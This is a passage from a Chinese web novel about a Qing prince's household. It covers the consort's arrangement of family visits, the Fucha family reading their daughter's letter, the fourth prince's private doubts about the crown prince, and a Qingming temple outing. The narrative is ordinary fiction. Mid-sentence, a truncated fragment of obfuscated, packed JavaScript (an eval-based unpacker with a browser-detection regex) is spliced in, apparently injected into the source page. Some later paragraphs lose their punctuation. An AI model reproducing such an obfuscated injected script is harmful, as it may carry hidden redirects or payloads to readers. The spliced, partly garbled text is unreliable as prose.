从宋格格没了女儿到现在也有一年了,宋格格几乎每个月都要病上一两回,这药是一副又一副不停的吃,福晋看着都觉得舌根苦。 25、第二十五章 虽说福晋并不喜欢这些后院女子,可她同为女子,又同样想要为四爷生下属于两人的孩子,看着也是有些感同身受。 好端端一个人,若是因此香消玉殒的,也是个可惜事。 四爷闻言,微微颔首,他对自己的女人不是个多苛刻的性子,只不过同样的,他终究是个男人,还是个身份贵重被人捧着的皇子,总归是没有女人细心的。 就比如宋格格几年没见到家人的事,以前还没开府在皇宫住着的时候,自是要万事谨慎,多一事不如少一事。如今却已开府,四爷其实并不介意自己的女人和娘家偶尔见个面,递个信,只要不惹出事端就行。 但他也不会特意去同自己的女人说这事,在他心里,揣着的比这重要的事情多得是,何况宋格格也不是他宠爱的女人。 而宋格格性子柔弱又谨慎,皇宫里时规矩森严,她不敢多做什么,后来离了皇宫,她早就没了宠爱,又经历了怀胎十月,诞女却未逾月殇的事,重重打击了她的心神,她就更不会同福晋说自己想见家人的事情了。 在这个时代,怀不上子嗣、子嗣生下身体不好、子嗣站不住早逝的这些情况,都统统被这个世道归结到了女人身上,都是女人的罪。 有“罪”又没宠爱的女人,能依仗的也就是自己是四爷第一个女人的这个老资历了,那是要用在刀尖儿上的,哪敢轻易消耗呢,自是不敢也不会提这些非必要的要求的。 “福晋说的是,就这么安排吧,”四爷道,想了想,他又说,“也别光宋氏了,既然要见,那就都见吧,想要和家里人见面的,让她们提前给送个信。” 福晋微微笑着点头,本来见家人这事就是她提议的,如今四爷扩大到整个后院,她也没什么不同意,“那我就让人去通知她们,想必她们听到这消息都极为高兴,怕是要对四爷夸上个几天半个月的。” 四爷就忍不住笑了,“福晋这是打趣爷呢,要说夸的话,那也得夸福晋你,”四爷看着福晋,心里很是满意,脸上也带了出来,他语气温和道,“是爷的福晋好,心善。” 对四爷来说,这就是最令他满意的后院现状。 福晋是个良善且能管得住事务的,妾室无论受宠还是不受宠都不会互相之间争得鸡飞狗跳,面红耳赤,没有太多的后宅阴司。 “这都是妾身该做的。”福晋被四爷这么看着,面上就飘起些许红晕,她抿唇一笑,说得谦逊。 四爷也没反驳她,他对福晋不张扬不轻浮的稳重态度本来就很满意,不过他心里却清楚得很,什么该做不该做的,这世上多得是那种坐着高位却不担起责任的人。 别的不说,官场上那些中饱私囊的、尸位素餐的蝇营狗苟之辈就数不胜数,杀了一茬没多久便又是一茬。 因此福晋做的事情都被他看在眼里,这也是他愿意给福晋尊重的原因。 吃晚膳的时候,四爷看着席面上的冷菜,还特地给福晋倒了杯酒,他道:“这酒不醉人,但喝着暖身,福晋尝尝。” 福晋没成想四爷会这么做,为四爷的这一亲近举动很是高兴,自然不会拒绝,连忙就举起杯子一口喝了下去,只是她向来酒量不深,这次喝得又急,虽只是一小杯,可也呛到了。 立刻她就拿手帕掩着嘴唇,扭过头来剧烈咳嗽起来。 四爷也没想到福晋酒量浅还这么喝,自己竟好心干了坏事,本来要夹菜的筷子顿在了半空,一直轻松的心情都跟着沉颠颠地落下。 他也没维持这个姿势太久,就把筷子丢在了一旁,起身靠近福晋,弯腰要给她拍背,低声关心着她,“福晋可还好,让爷看看……” 福晋咳嗽得只觉胸口都跟着疼,可感受着背部的轻拍,她心里又为四爷的举动而甜蜜,就一边高兴一边难受,但是听到四爷低声喊着让他瞧瞧,甚至手也轻轻放到了她脸颊上,明显要把她脸转过去,福晋就有点儿慌了。 剧烈咳嗽的情况下,再美的美人都会变得狼狈,何况她这样算不得多出众的相貌。 四爷便感受到了手下福晋轻微的抗拒,她别着脸,不愿意顺着他的力道转回头来,只是背着他,边咳嗽边哑着声音断断续续道:“咳咳……爷……爷不必、咳咳、管我……咳咳咳…… “我……咳、我缓缓便……咳,便好……” 四爷:“……” 他说不出此时自己是什么心情。 四爷不是不明白,福晋是想在他面前保持个端庄稳重的模样,所以不愿他看到自己狼狈状态,可他觉得自己是她的夫君,是她的天,让他看到些许狼狈又能如何,他难道还会对这样的福晋狠心么? 而且他本就不对正妻的相貌有过多要求,只要有正妻的肚量和手段就行。 还是说…… 是福晋不相信他不是那等看着女子颜色好就昏了头的人? 四爷便收回了手,黑着脸训斥周围傻站着的下人,“都是死了么!还不快过来照顾福晋!” 之前因为四爷在旁边一时不知道该不该上前的下人们身子一抖,立刻就拥了上来围住福晋,拍背的拍背,给福晋端水缓缓的端水,还有替福晋整理妆容的,差不多是里三圈外三圈的。 于是四爷跟福晋的距离也就越来越远,最后索性离了膳桌,坐到了正位上看着。 其实这会也看不到福晋了,这么些人围着,四爷能看到的就只有下人的背影,以及她们各种宽慰的讨好话。 听着便让人觉得心中莫名升起一股烦躁。 四爷闭了闭眼,长长吐出一口气来。 这顿晚膳终究是马马虎虎地结束了,福晋缓过来后,其实是担心四爷会不耐离去的,但她对上四爷目光时,看到的是个神色如常的四爷。 甚至依旧关心着她。 “这次是爷疏忽了,不会再有下次,”四爷看着她,“只是福晋也莫再勉强自己。” 福晋摇头,“这是四爷的心意,妾身没有勉强。” 四爷神色淡淡地听着,没有答这一句,只是道:“那便洗漱歇息吧。” 这一日,四爷便在正院睡下了。 除了这日在福晋院里休息,之后一直到清明节,四爷依旧和之前那般没有进过后院,不过这次就算是李格格也有大半心神放到了别处去,没像往常那般闷闷不乐。 因为可以见到自己家里人了! 虽然李格格没有宋格格进四爷后院的时间早,但也有四五年的时间,那就也是这么些年没见过家里人了,怎能不开心呢? 就算是才进府的汪格格,听到这个消息时也是高兴得在房里来回走了几圈才按捺下自己激动的心情。 “快,把纸墨笔拿来。”她忙不迭地吩咐自己的丫鬟。 映月阁里,傅雅听到正院里的人说了这件事后,也是先意外再惊喜,等巧琴送走了正院的人又进来,她已经自己找出了笔墨纸,站在了书桌前思考要写些什么。 傅雅抬头看到巧琴身影,就笑着道:“巧琴,你去替我把账册拿来,我看看库房里能送些什么。” “是,格格。”巧琴福了福身,转身去拿账册了。 傅雅收回视线,继续看桌面铺开的洁白的纸张,她想,果然福晋是个靠谱的上司,明摆着不太喜欢她们,却不仅没为难,还愿意抬手给她们行个方便。 因此她就更不后悔昨日拒绝了汪格格想要联手的提议了。 有这么个靠谱的上司在,她不信李格格能蹦跶得多高,那又何必费心费力地去打压她呢。 本来后院的女人就成日被拘着,再互相为难,这日子也没劲头,当然了,如果人家真手贱犯事到自己面上,傅雅自是不会退让的,可她真的没兴趣主动跟别人斗得跟个乌鸡一样。 而且受不受宠这事,也不在于女人,始终是男人握着主动权,有这精力她不如拿去刷四爷的好感,给自己的躺平之路多捞点东西。 “也不知道阿玛阿娘他们如今怎样了,还有哥哥他们。” 想着想着,傅雅念头就转到了自己身上,想到了自己的家人,不禁喃喃。 拿着账册进来的巧琴刚好听到格格这句自言自语,她便道:“再过几日,格格就能看到老爷夫人他们,到时格格便能亲自看看他们如何了。” 傅雅朝她一笑,“你说的对。” 她不再犹豫,提笔写下家书,约莫是说些福晋处事公平,四爷为人温柔,自己进府这几日都过得很好,额娘阿玛还有哥哥不必担心,除此之外,傅雅便着重说明了几日后去寺庙一事。 写完这些,她将信放进信封里,派了人去正院通报。 虽然允许给家里送信,可也要和正院里提前说一声,否则便是私传消息,真要被抓住了,那也是犯了错,要被训斥的。 去送信的是赵德利,到正院时他刚好碰上李格格院里的人,两人皮笑肉不笑地虚假寒暄了会,赵德利便进了正院。 福晋的面他自然是没资格见到的,是福晋身边的人出来传递福晋的意思,表示同意富察格格送信出去,赵德利又跪地给福晋谢安,才拿着信出了府。 26、第二十六章 赵德利出府的时候,虽然是大早上的,但在这种缺少电力的时代,人们都是早睡早起,所以此时街道上已经有了来往的行人、做生意的小贩,热闹得很。 赵德利鼻尖时不时就飘来吃食的香味,他咽了口唾沫,出门前他都只来得及胡乱垫了下肚子,如今被这香味一勾,就觉得有些饿了。 但他没敢在路上耽搁,一路目不斜视地只朝着自己的目的地走。 大概走了有大半个时辰,他终于见到了格格说的那条小巷。 巷子挺长,道路是石板铺的,看得出年月久了,偶尔有坑洼不平的洞、断裂的痕迹,但路面上却没什么垃圾,巷子两边的房屋墙角除了长出来的野草和蜿蜒攀附的藤蔓,不见多少脏污的痕迹,明显平日里没有人往墙角泼便溺等污水。 从这种种痕迹就能看出来,这条小巷里住着的人就算称不上富贵,但也必定不是那等缺衣少食的人家。 赵德利就想,难怪格格见到了主子爷赏赐的那些好东西,也没见露出什么欣喜若狂的神情来,在这种环境下长大的人,教养是缺不了的,也不会是那等眼皮子浅的。 不是就好啊,赵德利高兴地想,他是从内务府出来的,在没有分配到伺候的主子那十几年,他可见多了那等“眼看他高楼起,眼看他宴宾客,眼看他楼塌了”的事,格格心里越有成算才越立得主,立得久。 带着这种心情,赵德利找到富察府时,脸上都是笑容满面的,见到下人开门问他是谁,也笑着答得清晰、明了。 “我是四爷府上富察格格身边伺候的,我们格格是富察府里的大姑娘,还请这位小哥通报下。” 下人先是睁大眼,然后匆匆留下一句麻烦且等着,就立马转身跑进了府里,连门都顾不上关。 赵德利立刻反应过来,怕是自从格格进了主子爷的府里,这富察家便时刻惦记着了。说不定明明知道进了府里几年都不一定能传出消息,也还是时刻叮嘱家里的下人记着这件事,才让这个守门的小厮才一听到他的话,都来不及求证,就先去通报了。 倒是万幸,让他们碰着了这个难得的机会,才进府几天就能见面。 赵德利心中也有些唏嘘,可怜天下父母心啊。 没多久,赵德利就看到一个身材伟岸的男子疾步朝自己而来,守门的小厮在他后面小跑着气喘吁吁,才能赶得上那男子的大步急走。 “你是我小妹身边的人?” 男子上来就是这么一句话,不等赵德利回复,他便长手一揽,抓住赵德利的肩膀就带着进了府,“给我说说,我小妹这几日过得如何,吃得可好,过得可开心……” 一连串话丢下来砸得赵德利有些头晕,尤其是他发现肩膀上的手明明没怎么用力却依旧挣脱不开,仰头脖子都要断了才能看清男子头顶时,他就更晕了。 “这位……这位爷,您、您莫不是格格的……二哥?” 男子低下头来,朝他露齿一笑,看着十分爽朗,“小妹这是和你说过我了?没错就是我,富察家排行老二,富察傅铎。” 铎,为一种乐器,但同时也视作英勇无畏的象征,有着前程似锦、终成大器的祝愿。而雅,多指美丽,有文雅、优美之意,同样也被世人对品德高雅的赞美。 只是从名字上,便能看出兄妹两的父母对两人的美好期盼。 “傅二爷,敢问这是往哪里走……” 虽然富察府不大,和四爷府的规制不同,可这四合院的布局再怎么改,正院的位置也都大差不差,但赵德利此时却发现这位傅二爷看着像是往偏院的方向走。 “这不是大哥今年又要下场了么,我们正在那什么,用小妹的话叫做……预演,对,就是预演!”傅铎没什么架子,听到赵德利的问题也回答得很是干脆,不过此时他的注意力都放在了傅雅的情况上,回答完后就催促赵德利,“你还没说小妹的事呢,快说说。” “格格她、她……” 因为傅铎身高腿长的,赵德利被带着往前走,也不得不跟之前那个小厮一样变成小跑,回话也变得有些喘,他一边说,一边从袖子里拿出信封。 “……她让奴才带了信过来。” 话音刚落,一只大手就从天而降,拿走了他手里的信封,赵德利看过去一怔,拿走信封的不是傅二爷,而是不知何时出现的另一个男人,比傅二爷要矮一点,身形也没那么壮,更偏风流。 傅铎的大嗓门响起:“老三你这腿脚不快,手倒是快得很!从哪练的啊?” 富察家老三富察傅敏看了看有些懵的赵德利,又看向二哥,笑嘻嘻地道:“哪需要练啊,我天生的,”他晃了晃手里的信封,“我去把信给阿玛额娘。” 傅铎拿手点他,笑骂:“还天生的,我看就是被阿玛追着打的这些年练出来的。” 傅敏朝二哥翻了个白眼,正要转身,却见到傅父和陈母已经走了出来,估摸着是刚好听到傅铎刚刚损他的话,傅父没好气地道,“生得手脚灵活的,尽用来气你爹。把信给我。” 傅敏把信交给父亲,还不忘笑嘻嘻辩解,“哪有光气阿玛啊,小妹在家的时候,我还天天背着小妹跑呢。” “带着你妹妹出去打架,然后赶在大人来前溜回来,是吧。”傅父头也不抬地回了儿子一句,手里仔细拆着信封,等掏出里面的信时,呼吸都变得轻了点。 陈母看出夫君情绪变化,轻轻拍了拍夫君手臂,拉着眼睛盯在信上没心神注意其它的他找了石桌坐下。 刚一坐下,傅铎和傅敏都凑了过来,挤在阿玛身后,一起低头看。 三个脑袋凑在一起,完全将其它都抛在了脑后,陈母却不好丢下外人不顾,所以尽管她也很想看女儿写来的信,却依旧看向了站在一旁的赵德利,开口与他说话。 也没什么复杂的话,就是问叫什么,在傅雅身边负责什么事,再说几句辛苦他照料她的女儿。 等这些客套话说完了,她就开始细细问起关于傅雅生活上的事。 赵德利全程恭敬地回话,可以说他这一趟啊,是将格格在家里的地位看得清清楚楚,这就是个从小被捧着、宠着长大的。 说来也是奇,这样的女子一般都会变得心气高,脾气大,无论是做正室还是妾室,都要么容易跟主子爷顶着来然后不受宠,要么就是容易看不起其他后院女子,就算不是特意的欺负人,也会显露出股心高气傲的姿态。 偏偏格格却不一样,那是在主子爷面前能撒得了娇,在福晋面前不卑不亢,在其他妾室面前主打井水不犯河水的和平态度。 看来这富察家的底蕴不一般,赵德利最后下了结论。 陈母才问了几句呢,便听得那边父子三个爆发一阵欢呼,“阿玛,你看到了吗,小妹说过几天我们就能见面了——” “什么?!” 本来还想回头说他们两句的陈母立刻也顾不得了,手一摊,朝向傅父,“老爷。” 不必她多说什么,傅父就笑呵呵地把信给她,还道:“太太你看,说是过几天四阿哥府上清明节都要去寺里,还允了芙儿跟家人见面,只要那天我们也去了寺庙便可。” 芙,本意芙蓉,为荷花别名,与傅为音近字,所以在傅雅小时候被用作了她的小名。除了在外头会以大名唤她,在家时家里人经常叫她小名,喊习惯了,如今就算有赵德利在面前,傅父也这么叫。 反正赵德利也是傅雅身边的人,不会不知轻重地将这个小名到处传,傅父看得出来,虽然只有几天时间,但赵德利明显一颗心都向着他的女儿,显然被收服了。 陈母将信仔细看了个遍,才轻轻吐出口气来,她将信封又折叠收好,小心放回到信封里。 赵德利在富察府里又待了阵,只没见到那位傅大爷,便揣着老爷太太给自己的赏赐,还有带给格格的银票回了四爷府。 不提傅雅收到银票时的心情,富察家自傅雅进了四爷府后便有些压抑的气氛终于变得轻快了点。 终于从隔间里出来的富察家老大,也就是富察傅文见到的便是满脸笑容的父母还有两个弟弟,他疑惑道:“这是怎么了?” 傅敏捏着鼻子,瓮声瓮气道:“大哥你身上太臭了,先去洗漱了再告诉你。” 这隔间是富察家模拟了贡院的环境弄的模拟考场,考虑到运气不好会靠近茅厕、或是房屋漏水,便要么特地在房间里放了一个夜壶、要么将瓦片给弄掉几个人为弄出破洞。 而这种举措也是傅雅当初提出来的,美名其曰先模拟体验一下,这样也能让身体提前适应,不至于在考场上出岔子。 本来只是一家子陪傅雅闹着玩的,但是自从傅文从考场出来,亲口说出的确有用后,这举措便也延续了下来。 傅文好笑地看了他一眼,也就是他现在没精力,不然非得让老二和自己一起按着老三把他教训顿,不过他也有些受不了身上的味道,就先去洗漱了。 等他弄好出来,终于知道了事情的经过后,也很是高兴,他扭头对傅敏道:“老三,你不是知道阿玛放酒的地方么,今天正好拿出来,喝上几杯。” 傅敏:“……”大哥你故意卖我! 本来还乐呵呵和夫人聊天的傅父猛地一扭头,脱口而出:“你怎么知道——哎哟!” 话还未说完呢,他就觉得手臂一痛,扭头看,他家夫人正不动神色地微笑回望他,完全看不出来正在扭他胳膊上的那块肉。 “老爷,你这是又藏酒了?” 陈母语气很温柔,温柔得傅父背后直流冷汗,他干笑道:“呵呵,呵呵,夫人,今天是高兴日子,咱们不谈这个,不谈这个……” 陈母嗔了他一眼,又看向老大,有些好笑。 别看她几个儿子里,就老大看着温文尔雅的,实际心眼比老三这个自诩机灵的人还要多。 虽然陈母松口允许傅父喝酒,但总共就那么一小瓶,四个人一分,也就两三口的量,等到入夜歇息了,傅父依旧眼神清明,只洗漱过后身上带着淡淡的酒味。 明明第二天还要点卯呢,他却精神亢奋,有些睡不着,怕吵到陈母,他连翻身的动作都小心翼翼的。 “老爷是在想芙儿么?” 谁料陈母也没睡着。 傅父转过头来,借着月光,看到自己的妻子睁眼看他,目光温柔,他便忍不住靠近了陈母,抓住了被子底下她的手,“是,夫人,我……为夫觉着,这时间过得太快了……” “是啊,”陈母轻叹,“一转眼,芙儿竟进了四阿哥府……” 傅父握着陈母的手微微收紧,心里有些涩,半晌,才憋出一句话,“……世事无常。” 陈母被傅父这语气引得心里也一酸,她们家就没人想过要让傅雅进那些皇亲贵胄的院里,不管多尊贵的男人,他们后院里的妾室都不是好当的。 傅父道:“芙儿信里说一切都好,我、我却依旧放不下担忧她的心……” 那是他和夫人宠着的女儿,他怎么能放心呢。 就算是现在,傅父也依旧记得那天他收到宫里旨意,知道女儿进了四爷府里时的恍若晴天霹雳之感,如果不是老大扶住了他,差点他就没站稳跌倒在地。 沉默了会,陈母轻语:“……我也是。” 她索性撑起身子,两手抓住傅父的手,与他对视着,“老爷。” 傅父眼里还带着些许水光,“夫人……” “老大如今还未进入官场,所以,”陈母言语诚恳,目光真诚,语气温柔,“老爷,日后你需更加努力了。” 傅父:“……?” 陈母语重心长,谆谆告诫,“老爷,以后莫要犯懒了,女儿还等着你成为大官,替她撑腰啊。” 被三言两语下达了官场内卷指标的傅父:“……” 他眼泪汪汪,说不出是心疼女儿还是心疼自己,或者两者都有。 “我、我尽量。” “不是尽量,是一定呀,老爷。” “……为夫、为夫知道了。” 第 27 章 一个皇子的野心被... 因为有着外出游行和见家人的诱惑,后院里这几日都极为平静,难得的将四爷暂时抛在了脑后。 不过这段时日四爷也没闲暇进后院,他有自己的事情要忙。 前日康熙那上了本折子,是有关八旗兵丁的事情,说是这几年满洲旗人斗殴甚至持刀伤人的事情屡屡发生,甚至有上升的趋势。而八旗子弟是满人当年能打入京城的依仗,也是皇帝手里极为重要的军事和政治力量,可谓是治理天下的基础。 因而在这件事有点儿压不下去后,就算下头的人再不想惹皇帝注意,也不得不上折奏报此事,当然,折子里的甩锅是不可避免的。 康熙在收到折子后发作了几个人,但也安抚了一部分人。 事实上,他并不是特别生气。 八旗的人如今越来越多,可人多不代表越来越有钱,反而是底层贫瘠的旗人过得越发艰难,这种事康熙很早就有听闻风声了,也有了心理准备。 想要解决这点,要动的人,要动的位置太大,这些个当官的一个个都不愿意也不敢将这事揽到自己身上,终归只有他这个皇帝下手。 康熙拿着这本微微沉吟,就算他是皇帝,也不能轻举妄动,需查明情况了再出手。 于是他转头就将折子丢到了太子那边,表示兄弟齐心,其利断金,这事就由太子带头,带着几个弟弟一起商量出个方法来。 太子:“……” 三四五七八:“……” 汗阿玛您可真是对儿子们报以厚望啊。 几个皇子面面相觑,但包括太子在内,都没有人开口说出做不到这句话。 不管未来是不是太子继位,终归能登上皇位的就那么一个人,而其他人到时候就算是皇子又如何,要是没有本事,又没有感情基础,那依旧在弟弟手下混不过去。 在亲生父亲手底下混,还是在兄弟手底下混,哪个更轻松点,大家还是知道的,所以当然不能让自己在汗阿玛那边戳了个经不起事的章子。 于是不仅几个兄弟天天商量着,就算是回到府里了,也依旧闲不下来,要么让自己招的幕僚上门,要么自己埋头思索。 四爷坐在书房里,他面前书桌上摆着已经写好了的一份折子,上面的内容是他自己一笔一划落下的,在心里也 琢磨了许久,就算不看折子,都记得自己写了什么。 旁边苏培盛弯着腰小心剪着烛芯,咔嚓一声,烛光变得更明亮了。 在退下时,苏培盛不经意的一瞥,只隐约看到了一行字—— 按各旗方位,可建造定量房屋,使无屋旗兵居住,兵死则屋收归入公…… 退到不远处的苏培盛将这句话来回想了下,他是读过书的,倒不至于看不懂这句话,等他弄明白了主子爷写的这句,就觉得这主意挺好的,这底层的人有个能住的家,不至于流落街头,那闹事的概率也就小了。 反正怎么想,苏培盛都不觉得这个提议有什么不对,可主子爷写完这份折子后,就这么坐着不吭声了,难道是有什么他没发现的问题么? 事实上,让四爷犹豫的不是这份折子,而是写完折子之后的事情。 他们这些兄弟虽然围在太子身边,可四爷不相信他们没有自己的心思,好比这回,虽说大家都一起商量着,可始终没人提出最后这折子是自己上自己的还是几个兄弟合成一份折子。 他们这些做弟弟的没人主动提,是因为大家都很清楚,放到一份折子里,就不太容易显出每个人的优点了,可以说到时候就全都得看太子怎么说了,或者盼着康熙能够一个个去问。 而这全是看运气的事。 所以没人会主动去提,那不是生怕自己拉得仇恨值不够高么? 至于太子不主动说…… 四爷心里轻轻叹了口气,颇有点儿不是滋味。 这么些年皇上对太子的看重和对其他儿子的区别对待,大家也不是不清楚,也明白太子很大概率是他们未来效忠的人,但那毕竟是未来,也毕竟只是大概率。 如今太子还未登基呢,姿态便已经站得如此之高,只等着兄弟们主动跪下给他献上自己的忠心,他则是高高在上站着,连弯个腰都不愿。 这样的太子…… 未来如果登基了,他们这群兄弟真的能够混好么? 或者说…… 真的能够登基上去么? 这个念头在四爷脑海中一闪而过,甚至在冒出来的那个瞬间,就令他呆住,连折子上的字迹都变得遥远了些。 等回过神来,他甚至不知道自己在方才想了什么,后背却在初 春的天气里渗出汗,喉咙也有些干渴。 四爷只听到自己的心脏跳动的声音。 噗通,噗通。 有些快。 “苏培盛。 垂眸走神的苏培盛冷不丁听到主子爷喊自己的声音,连忙抬头,“奴才在。 四爷收起折子,指了指茶壶,“换杯凉的来。 苏培盛刚想应声,发现四爷说的不是热茶而是冷的,愣了下才反应过来,他小心翼翼道:“这……如今是三月……这种温度喝冷的,那不得喝个透心凉么? 苏培盛甚至怀疑自己是不是听错了。 四爷淡淡道:“爷说了,上冷的。如今几月份他会不知道么? 苏培盛不敢再说什么,连忙退出房间,指挥茶水间的人,见到自己说出主子爷的命令,茶水间的下人都惊讶地看向自己时,他没好气道:“傻愣着干什么呢,主子爷还在里头等着。 嚣张啥呢,大家不都是伺候人的么,下人低头腹诽,手里动作却没敢听,很快就弄出合适的冷茶来,交给苏培盛提进书房。 这冷泡茶并非是现代才有的新鲜玩意,最早可以追溯到宋朝,以冰块和茶叶制成的冰饮,用于消暑。如今是三月,自然不会弄什么冰块,而是以丹参散辅以适合冷泡的茶叶所制的可养神保心的冷茶。 茶水被倒入茶盏中,漾出一圈圈波纹,却少了热茶会有的雾气渺渺。 四爷拿起茶盏,抿了口。 冰凉的茶水从喉咙往下,似乎也一路直达心口,令他身体里那莫名的燥热跟着缓了下来,等放下茶盏时,里面的茶水已经被喝完,苏培盛及时又倒了七分满。 但这回四爷没再急着喝,他的思维已经冷静了下来。 太子…… 如今依旧简在帝心,四爷在心中默默想,所以,他依旧要对太子保持尊敬,要视他为半个君。 没有谁知道,在这一天,一个皇子的野心被点燃,又被悄无声息地按捺住,只为等着在未来恰当的时机里,再度燃烧起来。 转眼便是清明节。 这日傅雅起得比平日里要早一些,不过她身边的人比她要更早,等她洗漱完了走出厢房,就见外面摆着好几个箱子,都是之前收拾出来的。 一开始傅雅看到 了还有些惊讶,问巧琴,“我记得不是只在寺庙过一个晚上么,怎么收拾出了这么多东西?” 她们要去的寺庙是在城外,也有那么点距离,等上了山估计离中午也不太远,若是再待上一会,总不好在傍晚匆匆回来,于是福晋索性就定下了在寺庙居住一夜的决定。 没想巧琴听到了比她更惊讶地反问:“这还多么,格格,您可是要住一晚上啊,”她扳着手指给她家格格算,“您平日里用的,还有见客、洗漱等要换的衣物等等,这已经是精简过的东西呢!” 在巧琴答话的时候,傅雅眼尖地看见巧画把自己画画的工具都给收拾了起来放进箱子里。 傅雅:“……” 她嘴角微抽了下,放弃了理解。 可能这就是皇家人出行的风格吧,不管用不用,但得备上。 等到终于要出发的时候,傅雅发现的确是自己天真了,巧琴说得一点都不夸张,她还真就是那个行李最少最精简的。不说福晋和李格格这个有孕比较麻烦的,宋格格和汪格格的东西都比她要多了一个车厢放。 算下来也就那么几个主子,结果光是行李就用了好些马车来拉,排成了长长一队。 傅雅早早起来,结果吃过饭后等了一个时辰,发现还没轮到自己的马车出行,最后如果不是巧琴拦着她可能就就要去睡个回笼觉了,但也撑着下巴闭着眼打了个盹,才终于听到轮到她的消息。 被巧琴托着手上马车时,打听到消息的赵德利走到了车窗旁,“格格。” 傅雅掀开小帘子,露出脸来,看向他。 赵德利道:“奴才刚刚去问了其他人,说是三阿哥府的福晋也跟我们府里的福晋主子一同去寺庙祭拜。” 傅雅哦了声,难怪这队伍拉得这么长,让她等了那么久,她想了想,问他,“是只有三福晋么?” 赵德利摇头,“听说还带了两位比较受宠的格格,不像咱们府里,把所有格格都带出来了。” 傅雅点点头,“我知道了,辛苦你打听消息了,去歇着吧。” 说完,见赵德利告退,她也放下了帘子,想着赵德利打听到的消息。 三福晋跟着她们府一起出行,只带了两个格格…… 蓦地,傅雅想到了选秀时和她同屋的那位刘 秀女也不知道她是不是这两位格格中的一个。 长长的队伍蜿蜒前行速度不算快但旁边的行人看着这阵仗没一个敢靠近的就算是这队伍占据了城门的大半位置阻得旁边的平民都不好进出也没人吭声。 或者说想要吭声的都会被人拉住提醒他是不是不要命了。 傅雅就看到了一个身材瘦弱的汉子被身边的人捂着嘴巴拖到人群里去结果捂人嘴巴的那个反而看着神情慌张嘴巴张合着对汉子说了什么本来要挣扎的汉子明显一怔然后就不反抗了。 这一幕看着其实细想想透着些卑微憋屈的感觉。 “格格外面尘土大……” 同样坐在马车里方便伺候的巧琴见格格掀开了帘子忍不住提醒了声。现在正是队伍前行的时候行人还有马儿走动带起的尘土在这种干燥的天气里可不是开玩笑的。 巧琴就担心格格的妆容被弄花了。 “这样就没那么容易吹着尘土了”傅雅手往下压了压帘子掀开的幅度变得更小了些只剩下一点缝她回过头来朝巧琴笑了笑解释道“这马车里带着有些憋闷我想透透气儿。” 巧琴仔细看了看觉得这点缝儿应该不至于让外面的人见到格格的面容而且她其实也觉得这马车有些闷自是理解格格的感觉。 她想了想就道:“要不奴婢坐外面车缘边上给您空出些空间来?” 傅雅摆摆手“就你这个身板能空出多少空间何必出去吃尘土。” 其实可以的话她反倒是想自己出去坐车缘边的不过她如今这个身份……这事儿也就是想想她还没得宠到能够好好的马车不坐非得出去学着当车夫的这种张扬劲。 傅雅再透过缝隙往外看已经看不见落在后头的那对百姓。 但她又觉得其实它依旧存在着只是存在的形式不同。 大概磨了有一个时辰车队连着车尾终于出了城。 三月的天还带着些微的凉。 不过比起前些天的冷风要好多了许是如此就连路旁的花草树木都有了萌芽的迹象呈现出一片兴兴向荣之色景色明显要比城内好上许多 没 有弹簧减震的马车走在这种路上,可谓销魂无比。 傅雅被颠得就算垫了软垫都觉得屁股疼,在这一刻,她甚至佩服起了李格格,毕竟她可是挺着肚子出行啊,说来福晋居然也同意了,都不担心出事。 无独有偶,不仅是她想到了李格格,福晋那头也谈起了李格格的事。 “你就这么松口让她出来折腾,若是出了点事儿,四弟不说些什么?” 提起这茬的是三福晋,她自己坐在马车里也觉得颠,加上还有些无聊,索性就来了四福晋这儿,反正同样是颠着,不如找个能聊聊天的。 三福晋和四福晋关系不错,当初四福晋进门时年岁还小,虽然在母亲身边学了些持家手段,可毕竟是第一次掌管后院,加上当时四爷还未开府,都住在皇宫里,四福晋难免有些手忙脚乱的。 那时候大福晋已经跟着大阿哥开府出了皇宫,太子妃还是个没影儿的事,所以就是三福晋出手帮了忙。 一来二去的,两人关系便也渐渐熟悉起来,这也是三福晋现在会说得这么直白的原因。 四福晋知道她是好意,也没生气,“她胎像稳,出行时我给她身边备了安胎的药丸,还有大夫随行,宫里娘娘也赐了养生嬷嬷下来跟着,”这么些手段下来,四福晋是不觉得会出什么事的,“若真有个不妥,她身边的人也会看出来,届时再让她回府修养也不迟。” 她们要去的寺庙虽然有些距离,可来回半天即可。 三福晋就手指点点她,笑,“你呀,看着不苟言笑的,却是个心软的人。” 要让她来,那她直接就不让人出门了,就算爷问起来了,一句子嗣为重,她也不怕自己的理由站不住脚。 四福晋对她这打趣的话,只正襟危坐,淡淡一笑。 三福晋看着她这样,也觉得没意思起来,就倚着靠垫,叹了口气,“算了,也别说你了,我自诩不心软,可不也得带上两个格格么。” 她是丁点儿都不想这么做的,但是她家的爷啊,风流,惜花,喜欢的女人只要在耳旁撒个娇,就昏了头了,只要不是特别出格的事儿,都一口答应。 这次出行就是如此。 她算是看透了,这些个男人啊,在他们眼里,女人什么身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在三福晋看来虽然四弟后院里的李氏有了身孕可依旧只是个格格说明还没有宠到所谓盛宠的份上 意味着四爷心尖上还没站着某个女人。 而四弟平日里表现出来的样子也和三爷那种风流不同,不像是会把心瓣分成十几二十块分出去的。 那四弟妹又对四弟有情,不如四福晋就软一下身子,多表现下女人的柔情,拉近她跟四弟的感情,做四弟心上的那个人。 “三嫂!” 四福晋本来还正襟危坐的,被她说得都有些羞赧,“古人云,非礼勿视,非礼勿听,非礼勿言,非礼勿动。” “你这是给我当起夫子来了?”三嫂笑喷。 两人笑闹着,就又略过了这个话题。 等到了潭拓寺,两个妯娌分开朝自己落脚的房间而去,四福晋一时又想到了三福晋对她说的话,她的脚步缓了起来,偏过头朝身后望去。 不远处,李格格扶着腰,对身边的人颐指气使的,生怕自己出点问题,也没注意到福晋的眼神。 福晋不经意间撇了下嘴,连她自己都没意识到自己这个动作,才收回目光,继续朝前看着。 她心里想,三嫂的好意她是清楚的,可三嫂不是她,三哥也不是四爷。 四爷……夸过她的端庄,而她是正妻,是要管一堆人一堆事的福晋,若做出妾室那等浮躁没规矩的行为来,她还拿什么威严管人呢,而且…… 她这个相貌,真学那等狐媚手段,真的会有用么? 福晋想,她靠得就是品行端正,持家有方来得到四爷的信任和尊重的,如今四爷看着也慢慢能够体谅她的辛劳了。 那她……就得继续在这条道上走下去。 “格格,您小心着点。” 